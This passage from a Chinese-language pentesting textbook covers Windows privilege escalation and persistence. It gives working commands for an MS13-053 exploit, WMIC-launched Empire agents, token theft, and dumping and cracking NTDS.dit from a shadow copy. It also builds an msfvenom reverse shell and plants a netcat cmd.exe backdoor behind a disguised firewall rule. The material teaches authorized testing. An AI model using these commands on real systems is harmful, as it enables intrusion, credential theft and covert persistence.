密码成功了,恐怖的闪电将可怜的服务器封锁。当我观察时,我注意到NT AUTHORITY\SYSTEM出现在主机下。我已作为管理员认证,Armitage 非常友好地帮我升级到了SYSTEM权限:

图 16.3 – Armitage 中主机受损的示意图

图 16.3 – Armitage 中主机受损的示意图

现在,我们要将一些自动化功能引入 pivoting 的概念——而 Armitage 让这一切变得太简单了。

Armitage pivoting

我们在 MSF 控制台上讲解了 Pivoting,过程相当简单。Armitage 让这一过程变得极其简单。记住,Armitage 作为红队工具表现得非常出色,因此快速设置 pivot,即使是一个小团队,也能像瘟疫一样在网络中蔓延。

我右键点击目标,选择我的 Meterpreter 会话,然后点击Interact,接着选择Command shell。现在,我可以以SYSTEM身份与 CMD 交互。快速执行ipconfig命令,发现有另一个接口附加在10.108.108.0/24子网中:

图 16.4 – 在 Armitage 中受损主机上的 ipconfig

图 16.4 – 在 Armitage 中受损主机上的 ipconfig

我看到你拿出纸和笔准备记下子网掩码和网关。现在,想象一下我慢动作伸手出来,把它从你手中打掉。Armitage 已经帮你准备好了,它讨厌你太辛苦工作。让我们右键点击目标,再次找到我们的 Meterpreter 会话;这次,选择Pivoting,然后点击Setup。如你所见,Armitage 已经知道了可见的子网。我们只需要点击Add Pivot,选择我们需要扩展的子网:

图 16.5 – Armitage 中的添加 Pivot 对话框

图 16.5 – Armitage 中的添加 Pivot 对话框

你将回到主显示界面。不同之处在于,现在,当某个特定的扫描器要求你输入网络范围时,你可以输入你的新范围。Armitage 已经配置了跳板,并知道如何相应地路由探测。

延续好莱坞黑客电影的酷炫视觉效果,跳板通过绿色箭头显示,指向所有通过跳板点学习到的主机,箭头的起点就是跳板。

图 16.6 – 描绘在 Armitage 中超越立足点的主机枚举

图 16.6 – 描绘在 Armitage 中超越立足点的主机枚举

后期阶段的一个重要基本事实是它是迭代的。你刚刚迈出了第一步,现在,你可以将模块指向隐藏在跳板点后的系统。Armitage 知道自己在做什么,并在幕后配置 Metasploit,所以一切都会按需要的方式路由。点点点击黑客攻击!

到这时,我们来看一个本地漏洞利用的例子——你将在已建立的非 SYSTEM 会话内执行此操作。

当简单方法失败时——本地漏洞利用

每个实验演示都会包含某些假设。到目前为止的一个假设是,Armitage/Metasploit 能够通过getsystem实现SYSTEM权限。正如我们在命名管道速成课程中所学到的,针对这种情况是有防御措施的,而且我们执行getsystem时常常是盲目的。它总是被认为只是一种尝试,并没有保证结果。

让我们来看一个例子。在这台实验计算机中,我们通过窃取凭据破解了一个低权限的用户账户。在用getuid验证我正在以低权限账户(称为User)运行后,我将会话置于后台,并执行search exploits local。这个查询将搜索所有以local为关键字的漏洞。在我们启动选择的本地提升漏洞利用之前,让我们回到内核领域,那里本地提升漏洞可是个大麻烦。

内核池溢出与数据类型的危险

Windows 内核中有一个负责从发送线程获取消息的函数,这些消息已经被转发到接收线程以实现线程间通信:xxxInterSendMsgEx。某些消息类型需要返回缓冲区,因此需要定义分配的空间;在确定所需的缓冲区大小后,会调用 Win32AllocPoolWithQuota 函数。如何确定这个大小很重要。有两个考虑因素:消息类型和传递给系统调用的参数,这些参数要求发送消息。如果预期返回的数据是字符串,那么我们就要考虑字符是如何编码的;经典的 ASCII 还是 WCHAR。ASCII 是一种特定的字符编码,每个字符标准化为 8 位,而 WCHAR 是 宽字符,广义上指的是使用超过 8 位的字符集。早在 1980 年代末期,通用编码字符集UCS)出现,并标准化为 ISO/IEC 10646。它设计用来支持多种语言,并且每个字符可以使用 16 位甚至 32 位。UCS 字符集与流行的 Unicode 标准同步,今天流行的 Unicode 编码格式包括 UTF-8、UTF-16 和 UTF-32,只有 UTF-8 与 ASCII 有相同的字符大小。因此,分配 ASCII 编码的消息 Hello, World! 会需要 13 字节的内存。然而,在 32 位 WCHAR 格式下,我将需要 52 字节来存储相同的消息。

回到内核中的线程间通信,CopyOutputString 函数在按需转换字符的同时,使用两个标准填充内核缓冲区——接收窗口的数据类型和传递给消息调用的最后一个参数请求的数据类型。这给我们提供了四种组合,它们以四种不同的方式处理,如下所示:

表格 16.1

关键在于,这些不同的操作将导致不同的数据长度,但缓冲区已经通过 xxxInterSendMsgEx 通过 Win32AllocPoolWithQuota 被分配了。我想你已经明白接下来会发生什么,所以我们快速跳转到我们的 Metasploit 模块,它已经准备好创建一个场景,导致池溢出,从而允许我们以内核权限执行代码。

让我们懒一点——Windows 7 上的 Schlamperei 权限提升

微软通过公告 MS13-053 及其相关补丁解决了这个特定的内核漏洞。利用 MS13-053 的本地漏洞利用模块叫做 Schlamperei。这个词来源于德语,意思是懒惰、马虎和低效。觉得不公平吗?在 Metasploit 中设置 use exploit/windows/local/ms13_053_schlamperei,然后输入 show options。准备好迎接一长串的选项吧!

我在开玩笑——这里只有一个选项,那就是定义 Meterpreter 会话,在该会话中尝试这一操作:

图 16.7 – 通过漏洞模块进行本地提权到 SYSTEM

图 16.7 – 通过漏洞模块进行本地提权到 SYSTEM

这只是一个快速而简单的示例,所以我鼓励你查看所有可用的本地漏洞利用方法。熟悉它们及其各自的漏洞和目标类型。

现在,让我们深入探讨利用 Windows 内置的管理能力的神奇世界。

使用 WMIC 和 PS Empire 进行提权

让我们先了解一下基本定义。WMIC 是一个工具的名称,代表Windows 管理工具命令。命令部分指的是命令行接口;可以假定 WMICLI 太长了。该工具允许我们执行 WMI 操作。WMI 是 Windows 基础设施,用于操作和管理数据。除了向 Windows 的其他部分和其他产品提供管理数据外,还可以使用 WMI 脚本和应用程序自动化本地和远程的管理任务。通常,管理员通过 PowerShell 访问此接口。请记住,正确使用 WMIC 值得一本书的详细介绍,所以把这看作是一个介绍。如果你感兴趣,网上和书店都有很多优秀的资源。

就目前而言,我们对我刚提到的远程管理感兴趣。作为渗透测试人员,我们有几个重要的事实需要考虑:

  • 在命令行中使用 WMIC 命令不会留下任何软件或代码的痕迹。虽然 WMI 活动可以被记录,但许多组织未开启或未审查日志。WMI 是另一个在 Windows 中往往被忽视的功能。

  • 在几乎任何 Windows 环境中,WMI 和 PowerShell 都无法被阻止。

总结一下,我们意识到可以利用 WMIC 远程管理 Windows 主机,同时利用目标的 PowerShell 功能。

用 WMIC 悄悄地生成进程

对于这个练习,我招募了一个 Windows 7 攻击 PC,用于对 Windows Server 2012 目标发动 WMI 命令。现在你有两个攻击者 – Kali 和 Windows。

让我们用 WMIC 探索一分钟,看看它是什么样子。打开CMD命令提示符并执行wmic。这将进入交互式会话。现在,执行useraccount list /format:list

图 16.8 – 从 WMIC 获取用户帐户

图 16.8 – 从 WMIC 获取用户帐户

WMIC 以便捷的格式返回本地用户帐户。并不是特别令人兴奋。有趣的地方在于远程管理。现在,尝试使用node:[IP 地址] /user:[DOMAIN][User] computersystem list brief /format:list命令。系统会提示输入用户密码:

图 16.9 – 从 WMIC 获取系统信息

图 16.9 – 从 WMIC 获取系统信息

噢,现在这个有点有趣。不过,乐趣还没有结束。尝试使用path win32_process call create "calc.exe"命令,同时保留node:[*IP 地址*] /user:[**]\[*用户*]头部。提示时别忘了输入Y

图 16.10 – 使用 WMIC 执行进程

图 16.10 – 使用 WMIC 执行进程

看看这个;方法执行成功输出参数告诉我们主机返回给我们的内容;我们可以看到一个 PID 和ReturnValue0(表示没有错误)。现在,去你的目标系统上看看屏幕上的友好计算器。等等,它在哪里?也许命令终究是失败了。

让我们看一下 Windows 任务管理器:

图 16.11 – 从目标的角度看正在运行的任务

图 16.11 – 从目标的角度看正在运行的任务

它确实执行了calc.exe。也确认一下 PID——它是由我们的命令启动的实例。如果你曾经写过脚本或其他启动进程的程序,即使你尝试隐藏它,看到命令窗口在屏幕上闪烁一下也是熟悉的经历,我们通常希望用户看不见它。悄悄启动 PowerShell?简直是无价之宝。

使用远程 WMIC 创建 PowerShell Empire 代理

让我们启动 Empire,使用./empire(在其目录中)并配置一个监听器。在主提示符下,输入listeners,然后输入uselistener http。你可以随意命名,我叫它 WMIC,以区分这次攻击:

图 16.12 – 在 Powershell Empire 中设置监听器

图 16.12 – 在 Powershell Empire 中设置监听器

回到主菜单,你可以再次执行listeners来确认它是否已启动并正常运行。现在,我们需要一个 stager。请记住,stager 是封装在某种形式中的 PowerShell 命令,旨在使它们得以执行。例如,你可以生成一个 BAT 文件,然后将其传输到目标机器上执行。在这里,我们使用 WMI 远程创建进程——我们只需要原始命令。因此,选择的具体 stager 不那么重要,因为我们只是从中提取命令。就我而言,我选择了执行usestager windows/launcher_bat的 BAT 文件选项。现在唯一重要的是配置监听器以将生成的代理与之关联——记住你之前设置的名称。如果你像我一样使用了 WMIC,那么命令是set Listener WMIC(不要忘记它是区分大小写的)。执行execute,你的 BAT 文件将被放入tmp文件夹中。用你喜欢的编辑器打开它并提取 PowerShell 命令:

图 16.13 – 创建与监听器关联的启动器 BAT 文件

图 16.13 – 创建与监听器关联的启动器 BAT 文件

为了证明反恶意软件厂商的聪明才智,我尝试通过 Gmail 发送一个 Empire 阶段性命令,作为 TXT 文件发送,结果它被标记为病毒。我本以为使用纯文本会让事情变得更简单,没想到,确实又是坏人们的另一个障碍。

现在,让我们回到 Windows 攻击机,带着 PowerShell 命令。我正在准备针对目标的 WMIC 命令。请注意,我没有使用交互式会话。因为它有字符限制,而这个长字符串需要尽可能多的空间。所以我将它转储到普通的 CMD 会话中,并将命令作为参数传递给 wmic

别忘了,win32_process call create 参数必须用引号括起来。

我希望我能告诉你,这一切就像那些动作片中的情节,硬汉从爆炸中若无其事地走开,甚至不回头看看。但实际上,这看起来更像是计算器进程的启动。你会得到一个 PID 和 ReturnValue = 0。无论如何,我鼓励你想象那个爆炸的场面:

图 16.14 – 在 WMIC 中丢弃命令

图 16.14 – 在 WMIC 中丢弃命令

让我们跳到 Kali 攻击者的机器上,Empire 监听器正忠实地等待代理报告回总部。果然,我们可以看到新的代理已经配置好,准备接受任务。尝试 info 命令以确认主机和代理使用的安全上下文的用户名。请注意,这里也显示了 PID——它将与 WMIC 输出参数中的 PID 相匹配。

通过访问令牌窃取将你的代理提升为 SYSTEM

就在上周,我和家人去县集市玩。我的女儿第一次坐过山车,我妻子看了猪赛跑,我们一直喝着冰沙柠檬水,直到糖分过量。当你第一次到达时,你会去售票处,购买两种选项之一——一本单独的票册,可以像现金一样用来进入游乐设施,或者是一个腕带,可以让你无限制地进入所有设施。Windows 中的访问令牌类似(除了猪赛跑部分)。当用户成功通过身份验证后,系统会生成一个访问令牌。每个代表该用户执行的进程都会有这个令牌的副本,而这些令牌用于验证拥有它的进程或线程的安全上下文。这样,你就不需要多个不同的进程在同一用户下运行,也不需要每次都进行密码认证。

然而,假设某人在县博览会上偷走了我的腕带。这个人就能以我的权限在旋转木马上骑乘,即使腕带是通过合法的现金交易获得的。实际上,有一些方法可以从以 SYSTEM 安全上下文运行的进程中盗取令牌,从而完全控制目标。现在我们已经在目标上运行了代理,接下来让我们指派它执行令牌盗窃任务。首先,我们需要知道当前有哪些进程在运行。记住,我们可以使用 tasklist 来查看正在运行的进程,并捕获每个进程的 PID。

指派 Empire 代理执行 shell tasklist

图 16.15 – 我们 PowerShell Empire 会话中的 tasklist

图 16.15 – 我们 PowerShell Empire 会话中的 tasklist

在确定了要盗取的进程 ID 后,指派代理执行 steal_token

图 16.16 – SYSTEM 令牌已被盗!

图 16.16 – SYSTEM 令牌已被盗!

现在,让我们来看看如何攻陷已被攻破的域控制器。我们再次将通过利用 Windows 管理工具来“活用土地”。

在阴影中舞蹈 – 使用 vssadmin 抢夺域控制器

所以,你已经在客户环境中取得了域管理员权限。恭喜你!接下来怎么办?

在关于从初步入侵向前推进以及提升权限的章节中,我们需要一些跳出常规的思维方式。我们已经覆盖了许多技术内容,但不要忘记整体思路——你是在为客户进行评估,你的成果价值不仅仅是一堆带有绿色文本的截图。当你和黑客朋友们一起喝酒,告诉他们你成功获得了域管理员权限时,他们明白这意味着什么。但当你向客户的高层管理人员汇报你的发现时呢?我曾有无数次的高层直接问我,“那又怎么样?”用力晃动他们的肩膀并大声喊出“我通过监听他们的打印机获得了域管理员权限”是不会说服任何人的。现在,让我来对比一下我和客户的会谈,我告诉他们,我已经在一个电子表格中获得了他们 3,000 名员工中 68% 的密码,而且每小时还在持续增加。相信我,这样会引起他们的注意。

在从环境中窃取密码时,有不同的方式可以做到,而且它们各自具有不同的含义。例如,在办公室四处寻找写下来的密码出奇的有效。这通常发生在进行物理评估时,但我们曾经偶尔在审计过程中这样做,而不需要偷偷摸摸。这种事情可能会让你出现在监控摄像头的录像中。我们也讨论了一些技术方法——基本上,任何涉及有效载荷的操作都可能被杀毒软件检测到。只要你能利用内建的机制来完成任务,你就更不容易触发警报。我们从 PowerShell 中学到了这一点。还有另一个管理员工具,根据环境的不同,它可能作为备份程序的一部分被允许使用:vssadmin,即卷影像副本服务管理工具。

影像副本也称为快照;它们是复制品,是受保护文件、共享和文件夹的时间点备份。复制品由 数据保护管理器(DPM) 服务器创建。在复制品首次创建后,它会定期通过增量更新受保护的数据。影像副本是数据的完整副本,基于最后一次同步。我们在这里关心的是它,因为在我曾经工作的每个环境中,Windows 系统都包含在复制品中,特别是其中有两个非常重要的小文件:NTDS.ditSYSTEM 注册表 hive。NTDS.dit 是 Active Directory 的实际数据库文件,因此它只存在于域控制器上。SYSTEM hive 是 Windows 注册表的一个关键组件,包含大量配置数据和硬件信息。然而,我们需要的是用来加密密码数据的 SYSKEY 密钥。

当你准备好进行探索时,启动 vssadmin 在你的域控制器上并查看选项:

图 16.17 – vssadmin 帮助屏幕

图 16.17 – vssadmin 帮助屏幕

让我们深入了解如何创建影像副本并从中窃取内容。

从影像副本中提取 NTDS 数据库和 SYSTEM hive

最好先使用 vssadmin List Shadows 列出任何现有的影像副本。有时,影像副本会定期创建,拥有一个最近的快照意味着你可以直接跳到复制数据库和 hive 的步骤。这会稍微减少被发现的风险。假设没有影像副本存在(或者它们很旧),以 管理员 身份运行 CMD 提示符并为 C: 驱动器创建影像副本:

vssadmin Create Shadow /For=C:

你将看到以下确认信息:

图 16.18 – 成功的影像副本

图 16.18 – 成功的影像副本

记下影像副本卷的名称,因为在复制操作过程中需要引用它。你将使用传统的复制命令,只需将通常称作C:的部分替换为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1。NTDS 数据库存储在 Windows 的 NTDS 目录下,SYSTEM文件则位于system32\config文件夹内。你可以将文件放置在任何位置;这是一个临时位置,用于准备窃取它们。不过,你需要考虑如何将文件从域控制器中取出。例如,如果有一个共享文件夹可以通过网络访问,那么将文件放在那里会是一个理想的选择:

复制\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\

复制\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM c:\

再次确认:

图 16.19 – 从影像副本中复制文件

图 16.19 – 从影像副本中复制文件

现在,我们已经得到了“战利品”——但它们仍然保存在目标设备上。我们如何将它们带回家呢?让我们看一下其中一种方法。

通过 cifs 在网络中窃取数据

我本可以直接告诉你选择自己喜欢的方式将文件从域控制器中拉出来。既然如此,我就告诉你:用你喜欢的方法去获取“战利品”。有时候,你可以通过 USB 闪存驱动器将文件偷偷带出。目前,让我们回顾一下如何将你的 Kali 盒子挂载到共享文件夹,因为这不仅是恢复活动目录信息的一种常见方式,在 Windows 环境中,它对许多任务都非常有用。首先,我们需要安装cifs-utils。幸运的是,它已经包含在软件仓库中:

apt-get install cifs-utils

安装后,使用mount -t cifs来指定共享的位置。请注意,我没有将密码作为参数传递,因为那样会暴露密码的明文。在攻击过程中可能不重要,但你会希望在报告截图中小心处理。省略密码会导致系统提示你输入:

图 16.20 – 在 Kali 中本地挂载的目标 C:驱动器

图 16.20 – 在 Kali 中本地挂载的目标 C:驱动器

就这样,没有任何爆炸或令人兴奋的事情,只是在我的系统上创建了一个新的文件夹,可以像使用任何本地文件夹一样使用。我将使用cp从域控制器获取文件。就这样,我们将活动目录数据库带到了我们的 Kali 攻击盒子中,域控制器上唯一留下的就是管理员预期存在的影像副本。但等等——如果没有影像副本,我们必须创建一个呢?那我们就留下了一个被预期的影像副本。vssadmin Delete Shadows是清理痕迹的好帮手。我建议在从影像副本中提取所需文件后立即使用它。

使用 libesedb 和 ntdsxtract 提取密码哈希

现在,言归正传,真正有趣的部分来了。当我刚开始使用这种技术时,过程稍显繁琐;但如今,你只需要个命令,就能将所有内容提取并格式化为 John 所需的格式。不过,有一个警告:我们需要为 Kali 做好准备,以正确构建libesedb套件。我们可以通过如autoconf等工具自动完成所有这些,它是一个神奇的工具,能够生成自动配置软件包的脚本。关于我们即将安装的内容的详细讨论超出了本讨论的范围,因此我建议你查阅 man 页面以便了解更多。

下面是逐行命令。每一条命令执行完后再继续。可能会花几分钟时间,趁机去补充一下咖啡:

git clone https://github.com/libyal/libesedb

git clone https://github.com/csababarta/ntdsxtract

cd libesedb

apt-get install git autoconf automake autopoint libtool pkg-config

./synclibs.sh

./autogen.sh

chmod +x configure

./configure

make

make install

ldconfig

如果你看到这个命令并在想,*不是*git 已经安装了吗?,那么答案是,已经安装了,但是这个命令会更新它。请记住,你需要pip来支持 Python 2,如果还没有安装,可以使用apt-get install python-pip来安装——然后,运行python -m pip install pycrypto来获取ntdsxtract所需的低级加密模块。

一旦一切配置完成并准备好,你应该能直接运行esedbexport。我们将告诉这个工具导出 NTDS 数据库中的所有表。特别有两个表是我们进行哈希提取所需要的:

esedbexport -m tables ntds.dit

你会看到以下输出:

图 16.21 – 从我们捕获的 NTDS.dit 文件中导出表

图 16.21 – 从我们捕获的 NTDS.dit 文件中导出表

现在,真正的关键时刻到了。我们可以将数据表和链接表传递给dsusers Python 脚本,同时提供SYSTEM hive 的位置(它包含SYSKEY密钥),并让脚本将哈希值以易于破解的格式优雅地格式化:

cd ntdsxtract

python dsusers.py /root/ntds/ntds.dit.export/datatable /root/ntds/ntds.dit.export/link_table /root/ntds --syshive /root/ntds/SYSTEM --passwordhashes --lmoutfile /root/ntds/lm.txt --ntoutfile /root/ntds/nt.txt --pwdformat ophc

我鼓励你研究实际数据库中的内容,了解诸如密码历史等信息。这些信息帮助我最大限度地提高了我的发现对客户的影响。为什么我要这么做呢?因为有些组织采取较为严格的密码更换政策,例如 45 天,会有时尝试争辩说我的哈希值都不合法。有时候,他们确实是对的。查看密码历史记录;那些在评估前一天刚登录的用户,可能仍在使用相同的密码:

图 16.22 – 提取的域记录

图 16.22 – 提取的域记录

John 知道如何处理格式化的文本文件。正如你所见,我在大约 30 秒内恢复了我的一个密码,当我执行了john --fork=2 nt.txt命令时:

图 16.23 – John 成功恢复密码

图 16.23 – John 成功恢复密码

一些环境会生成数千个哈希值。即使是运行在普通 CPU 上的 John,也能非常快速地破解那些简单的密码。另一个值得考虑的离线研究领域是 GPU 破解,它利用图形处理器的 FLOPS 来以极快的速度破解密码,尤其是在较短的评估中,这可能带来巨大的差异。

总结

在本章中,我们深入了解了一些基本的特权提升技术。我们回顾了 Metasploit 是如何自动完成这一过程的,也探讨了使用本地漏洞实现这一目标的可能性。我们快速回顾了与 Armitage 的后期阶段,并重新审视了 pivoting(跳跃)。我们回顾了 PowerShell Empire,并通过远程 WMI 命令创建了隐秘的代理。接着,我们利用 Empire 模块窃取访问令牌,并复习了其背后的基本概念。最后,我们探索了通过利用内建备份机制从域控制器提取哈希值的技术。总体来说,我们展示了几种利用 Windows 内建功能进行的攻击,增加了我们的隐蔽性,并为客户提供了有用的配置建议。

在最后一章,我们将讨论持久性——那些允许我们在重启和重新配置后保持访问权限的技术。通过建立持久访问的基础,我们可以为自己争取更多时间收集尽可能多的信息,从而提升对客户的评估价值。

问题

回答以下问题以测试你对本章内容的理解:

  1. 命名管道在类 Unix 系统中也被称为 _____。

  2. 一个 ASCII 字符总是 8 位长,而一个 WCHAR 字符总是 16 位长。(正确 | 错误)

  3. WMI 代表什么?

  4. IPC 代表什么?

  5. 除了返回的错误代码,成功的远程 WMI 进程调用还将返回 _____,你可以利用它来验证你的代理上下文。

  6. Shadow 副本是哪些内容的副本?

  7. 提取 NTDS 数据库中的哈希值时,SYSTEM注册表项中包含的关键信息是什么?

深入阅读

想要了解更多关于本章内容的资料,请查阅以下资源:

第十七章:保持访问

我们已经在这些章节中一起走过了很长的路。现在我们来到这里,提出剩下的问题:在你强行进入并证明客户的防御存在漏洞之后——如何保持我的访问权限? 这是一个有趣的问题,因为它常常被忽视,尽管它非常重要。当很多人谈论黑客攻击时,他们想到的是如何突破防线的兴奋感。黑客攻击是解决问题的过程,有时我们容易忘记,保持访问权限本身也是一个问题。特别是在渗透测试的背景下,由于我们通常有紧迫的时间表,持久化往往会被视为理所当然。有时,看似有一个竞赛要赶紧获得域管理员或 root 权限,然后就停下来撰写报告。遗憾的是,评估往往就是这样安排的,尤其是在当今这个高级持续性威胁APT)的时代。

记住你在评估中的一个广泛目标:从低调到相对显眼地升级,并注意你被捕获的时机。获得域管理员权限时没人注意到,和当当局破门而入时获得域管理员权限,结果是完全不同的。这种心态应延续到持久化阶段。

本章我们将涵盖以下内容:

  • 使用 Metasploit 和 PowerShell Empire 实现持久化

  • 快速简陋的持久化 netcat 隧道

  • 使用 PowerSploit 实现持久化访问

技术要求

本章的前提条件如下:

  • Kali Linux

  • 一个 Windows 10 或 7 虚拟机

使用 Metasploit 和 PowerShell Empire 实现持久化

我们在本书的多个章节中讨论了生成有效载荷。我们用msfvenom生成了不同格式和自定义选项的有效载荷,也探讨了如何使用 Shellter 对合法可执行文件进行隐蔽修补,进行高级攻击。现在,我们通过利用 Metasploit 的持久化模块,来完成这个讨论。

为 Metasploit 持久化模块创建有效载荷

为了演示,我们将生成一个快速简陋的反向 Meterpreter 可执行文件。然而,请注意,当我们配置持久化模块时,可以使用任何我们想要的可执行文件。

我们将通过以下命令保持简单明了:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.133 LPORT=10000 -f exe > persist.exe

当然,请替换为你自己的 IP 地址和本地端口:

图 17.1 – 使用 msfvenom 生成有效载荷

图 17.1 – 使用 msfvenom 生成有效载荷

有一点要提醒大家——这不是你通常用来立即达成目标的有效载荷。这不是一个一旦完成任务就丢弃的有效载荷。这个恶意程序将持久存在,并让目标有更多时间发现它。细致的研究和规划将是你在这方面的好帮手。

配置 Metasploit 持久化模块并发射

旧版本的 persistence_exe 有许多标志,你仍然可以那样使用它;然而,在写作时,这种用法已经被弃用,所以我选择将其作为 post 模块使用。我现在喜欢这种方式,因为它简化了整个过程。你只需通过 set REXENAME 定义可执行文件在目标上调用的名称,使用 set REXEPATH 指定可执行文件在你的系统上的位置,并通过 set SESSION 设置此攻击将在哪个 Meterpreter 会话中进行。

当你执行 run 时,控制台会准确告诉你它正在做什么:

图 17.2 – 在 Metasploit 中运行持久化模块

图 17.2 – 在 Metasploit 中运行持久化模块

让我们快速回顾一下这些步骤:

  1. Metasploit 读取你的负载并将其写入目标。

  2. Metasploit 执行负载并返回进程 ID 以供即时使用。

  3. Metasploit 修改目标的注册表,使得每次登录时都会执行。(HKCU 表示 HKEY_CURRENT_USER。)

  4. 为了完成这些任务而创建的资源文件已经被清理。

现在,我们只需坐着等待我们的远程代理进行签到。让我们准备好处理程序。

验证你的持久化 Meterpreter 后门

尽管我们当然可以验证注册表更改是否发生,并且负载是否在当前会话中运行,但真正的测试是故意通过重启断开连接,并等待目标主机向我们的监听器发送信息。确保你配置了正确的端口号。当你准备好时,继续重启你的目标:

图 17.3 – 我们的持久化负载发送新会话

图 17.3 – 我们的持久化负载发送新会话

不久后,我看到在目标机器上以受影响用户账户登录时,连接会自动出现。

记住,持久化负载和监听攻击者的配置至关重要。例如,如果攻击者使用的是 DHCP 分配的 IP 地址,那么该地址可能会发生变化,导致负载无法再与你联系。考虑使用静态 IP 地址,这样你可以根据需要保持持久性,并选择那些不太可能与其他连接冲突的端口号。

不甘示弱——PowerShell Empire 中的持久化

如果你还没有发现,PowerShell Empire 是一个非常强大的框架。由于隐匿性对于持久性更为重要,使用 PowerShell 执行负载使我们的工作变得稍微轻松一些;正如你能想象的,持久化 Empire 代理就像黄金一样宝贵。

如果你需要回顾如何让代理启动并运行,请返回到第九章PowerShell 基础知识。在我们的示例中,我们已经设置好了监听器,执行了目标上的一个起始程序,并与SKD217BV建立了代理连接:

图 17.4 – PowerShell Empire 中的新代理

图 17.4 – PowerShell Empire 中的新代理

尝试用它启动一些模块。你可能会看到一个错误信息,提示你代理需要处于提升的上下文中。奇怪——你已经是管理员了。我们在 Windows 10 系统上可能出现的情况是用户帐户控制UAC)已启用。

提升我们的 Empire 代理的安全上下文

UAC 是 Windows 用户自 Vista 以来一直在处理的一个可爱的功能——它提示你确认系统中的某些更改。这种逻辑和有效性是另一个话题的讨论内容,但它相较于 Windows 的早期版本,确实是朝着正确的方向迈出了步伐——当管理员登录时,该账户所做的所有事情都有管理员权限。UAC 意味着默认情况下所有内容都以标准用户级别运行,包括我们的恶意脚本。幸运的是,Empire 并不为此烦恼。

准备bypassuac模块,使用usemodule powershell/privesc/bypassuac。如果你使用info查看选项,你会注意到,唯一重要的设置是AgentListener。使用set Listenerset Agent命令,然后执行execute命令:

图 17.5 – 我们的新特权代理汇报情况

图 17.5 – 我们的新特权代理汇报情况

哦,看看——你交了一个新朋友!向TANUBD6P代理打个招呼吧。请注意,原始代理本身并没有被提升,它仍在运行中。相反,一个具有提升权限的新代理连接回我们。

为了隐秘地保持代理的持久性,创建一个 WMI 订阅

简而言之,Windows 管理工具WMI)事件订阅方法将创建一个事件,该事件具有某些标准,最终会实现我们的有效载荷的持久性和无文件执行。对于这种特定的攻击方法,有不同的方式,但今天我们使用的是登录方法。这将创建一个 WMI 事件过滤器,该过滤器将在系统运行 4 分钟后执行有效载荷。在进入模块模式后,使用use powershell/persistence/elevated/wmi,设置接收持久性任务的代理。确保选择提升权限的代理!它是用户名旁边有星号的代理:

图 17.6 – 配置我们的持久代理

图 17.6 – 配置我们的持久代理

请注意,我们正在配置set Agentset Listener。现在,让我们验证持久代理是否准备好连接。

验证代理的持久性

就是这样。然而,代理没有告诉我们执行情况如何。我们怎么知道它是否有效?重启目标计算机,并返回 Empire 的主菜单。你的监听器仍然在忠实地等待新代理的连接。

请查看此实验演示中的时间戳。我们用于升级的前两个代理现在已经失效,最后一次出现在 12:00。关于 WMI 方法,我们需要记住的一点是,脚本在机器启动后的大约 5 分钟内不会运行:

图 17.7 – 持久(且提升权限的!)代理报告

图 17.7 – 持久(且提升权限的!)代理报告

哇!我们的新代理正在以SYSTEM身份运行。我们现在完全控制了计算机,并且它将在重启后保持这种关系。永久的 WMI 订阅以SYSTEM身份运行,这不仅使其成为一个有价值的持久化练习,而且也是提升权限的可靠方式。

黑客隧道 – 即时生成的 netcat 后门

我知道你在想什么。你在想 netcat 是否真的是一个好的选择。它不是一个加密隧道,也没有任何认证机制,而且nc.exe常常被杀毒软件标记。不过,目前我们还是选择了 netcat,因为它是一个不错的演示工具,但实际上也有实际用途——我不确定是否有比这种方法更快的方式来在 Windows 目标系统中创建一个持久的后门。不过,你可以使用任何你喜欢的监听器来利用这种方法。让我们更仔细地看看我们手工制作的有效负载。

使用 Meterpreter 上传并配置持久化 netcat

我们已经看过使用SimpleHTTPServer在局域网上轻松传输文件的方法。这次,我们假设已经建立了 Meterpreter 的立足点,并且我们正在设置一个更快的回调号码

使用upload命令将你的后门上传到目标。接下来的步骤是使其在每次启动时都能生效——将可执行文件添加到注册表中。请注意,双斜杠用于转义单个斜杠通常代表的换行符:

上传 /usr/share/windows-binaries/nc.exe C:\Windows\system32

reg setval -k HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -v nc -d 'C:\Windows\system32\nc.exe -Ldp 9009 -e cmd.exe'

Meterpreter 应该报告密钥已成功设置:

图 17.8 – Meterpreter 上传和注册表设置用于持久化的 netcat

图 17.8 – Meterpreter 上传和注册表设置用于持久化 netcat

请注意,启动时实际执行的命令是nc.exe -Ldp 9009 -e cmd.exe。不要忘记端口号。不过,仍然有一步需要完成。

远程调整 Windows 防火墙以允许入站的 netcat 连接

现在,我知道你心中的黑客在想,我们所做的不过是确保后门在启动时加载而已,可能我们回去时会撞上防火墙。确实,学生成了大师。我们可以使用 netsh 一行命令来处理这个问题。进入目标的 shell,发送以下命令:

netsh advfirewall firewall add rule name="Software Updater" dir=in action=allow protocol=TCP localport=9009

让我们看看这个过程是怎样的:

图 17.9 – 从目标的 shell 修改防火墙

图 17.9 – 从目标的 shell 修改防火墙

注意,我给这个规则起了个名字。这需要一点社会工程学技巧;你希望管理员在查看规则时,忽略诸如 softwareupdater 这样的词。当然,你也可以将规则命名为 You got haxxed bro。这由你决定。

netsh 命令会通过简单的 Ok 确认你添加的规则没问题。现在,像之前一样,我们来确认 netcat 后门是否会持久化。

验证持久化是否建立

这其实是最容易验证的事情。尝试在重启目标后联系你的后门:

图 17.10 – 重启后从我们的后门获取 shell

图 17.10 – 重启后从我们的后门获取 shell

再次尝试使用不同的监听器。也许你可以通过 SSH 连接?或许你可以通过防火墙规则更精细地设置,只允许你的 IP 地址。希望你现在已经看到了其中的潜力。

讨论 Windows 目标上的持久化时,没有涉及 PowerSploit 就不完整。让我们来看看它。

使用 PowerSploit 维持访问

PowerSploit 框架是后期利用阶段的一个真正的宝藏。该框架包含了一系列 PowerShell 脚本,它们执行各种神奇的操作。PowerSploit 的完整探索留给你,亲爱的读者。现在,我们正在查看持久化模块。

首先,我们来了解一下模块的概念。模块本质上是 PowerShell 脚本的集合,这些脚本共同组成一个统一的主题或任务类型。你可以将工具聚集在一个文件夹中,然后将其放入模块路径中,按需导入这个组合。一个写得很好的模块能够与 PowerShell 的所有特点无缝集成。特别是,Get-Help 在这些脚本中也能正常工作。是的,你可以运行 Get-Help 来了解如何使用这些恶意脚本。我们来试试。

在 PowerShell 中安装持久化模块

